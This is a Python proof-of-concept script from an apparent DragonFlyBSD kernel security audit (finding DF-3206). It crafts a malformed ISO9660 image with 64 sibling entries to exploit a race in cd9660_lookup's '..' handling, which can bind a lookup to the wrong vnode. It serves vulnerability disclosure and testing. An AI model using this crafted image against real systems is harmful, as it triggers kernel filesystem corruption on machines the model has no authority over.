⬢ DragonFlyBSD Kernel Audit
DF-3206 / craft_dotdot_iso.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""
DF-3206 -- cd9660 image with a subdirectory holding 64 sibling entries, for
racing the CNP_ISDOTDOT window in cd9660_lookup
(sys/vfs/isofs/cd9660/cd9660_lookup.c:343-345):

	vn_unlock(pdp);					    :343
	error = cd9660_vget_internal(vdp->v_mount, dp->i_ino, :344
				     &tdp, dp->i_ino != ino, ep);	    :345

dp->i_ino is shared scan-scratch on the iso_node; a concurrent lookup of a
sibling entry inside the unlock->read window can substitute its own ino for
".." -> lstat("..") binds to a wrong (or plain-file) vnode.

Layout (2048B sectors):
   16  PVD (root extent 32)
   17  terminator
   32  root dir: ".", "..", "DIR" (extent 34, flags=2), filler entries
   34  DIR extent: ".", ".." (parent=32), E00..E63 regular files
"""
import struct, sys

BSZ = 2048
ROOT_EXT = 32
DIR_EXT = 34
DATA_EXT = 40
NSEC = 56


def b733(v):
    return struct.pack('<I', v) + struct.pack('>I', v)

def b723(v):
    return struct.pack('<H', v) + struct.pack('>H', v)

def susp(sig, body):
    assert len(sig) == 2
    ln = 4 + len(body)
    return sig.encode() + bytes([ln, 1]) + body

def sp(skip=0):
    return susp('SP', bytes([0xBE, 0xEF, skip]))

def er():
    i = b'IEEE_P1282'
    return susp('ER', bytes([len(i), 0, 0, 1]) + i)

def px(mode=0o100644, links=1, uid=0, gid=0):
    return susp('PX', b733(mode) + b733(links) + b733(uid) + b733(gid))

def dirrec(name, extent, size, flags, susp_area=b''):
    pad = b'\x00' if not (len(name) & 1) else b''
    base = (bytes([33 + len(name) + len(pad) + len(susp_area), 0]) +
            b733(extent) + b733(size) + bytes(7) +
            bytes([flags, 0, 0]) + b723(1) + bytes([len(name)]) + name)
    return base + pad + susp_area


def build(outpath):
    img = bytearray(BSZ * NSEC)

    pvd = bytearray(BSZ)
    pvd[0] = 1; pvd[1:6] = b'CD001'; pvd[6] = 1
    pvd[8:40] = b'DF3206 RACE IMAGE'.ljust(32)
    pvd[40:72] = b'DF3206'.ljust(32)
    pvd[80:88] = b733(NSEC)
    pvd[120:124] = b723(1); pvd[124:128] = b723(1)
    pvd[128:132] = b723(BSZ)
    pvd[132:140] = b733(10)
    root_rec = (bytes([34, 0]) + b733(ROOT_EXT) + b733(BSZ) + bytes(7) +
                bytes([2, 0, 0]) + b723(1) + bytes([1, 0]))
    pvd[156:190] = root_rec
    pvd[881] = 1
    img[16 * BSZ:17 * BSZ] = pvd

    term = bytearray(BSZ)
    term[0] = 255; term[1:6] = b'CD001'; term[6] = 1
    img[17 * BSZ:18 * BSZ] = term

    susp_dot = sp(0) + er() + px(0o040555, 1, 0, 0)
    susp_dot_file = sp(0) + er() + px(0o040555, 2, 0, 0)

    # root directory
    d = bytearray(BSZ)
    off = 0
    recs = [dirrec(b'\x00', ROOT_EXT, BSZ, 2, susp_dot),
            dirrec(b'\x01', ROOT_EXT, BSZ, 2, susp_dot),
            dirrec(b'DIR', DIR_EXT, 3 * BSZ, 2, susp_dot)]
    for r in recs:
        d[off:off + len(r)] = r
        off += len(r)
    img[32 * BSZ:33 * BSZ] = d

    # DIR extent (2 blocks): . .. E00..E63
    d = bytearray(BSZ * 3)
    off = 0
    recs = [dirrec(b'\x00', DIR_EXT, BSZ, 2, susp_dot),
            dirrec(b'\x01', ROOT_EXT, BSZ, 2, susp_dot_file)]   # ".." -> parent extent
    for i in range(64):
        recs.append(dirrec(('E%02d' % i).encode(), DATA_EXT, 0, 0, px()))
    for r in recs:
        assert off + len(r) <= 3 * BSZ, (off, len(r))
        d[off:off + len(r)] = r
        off += len(r)
    img[34 * BSZ:37 * BSZ] = d

    with open(outpath, 'wb') as f:
        f.write(img)
    print("wrote %s: root@32 (DIR@34), DIR@34 with 64 E* entries" % outpath)


if __name__ == '__main__':
    build(sys.argv[1])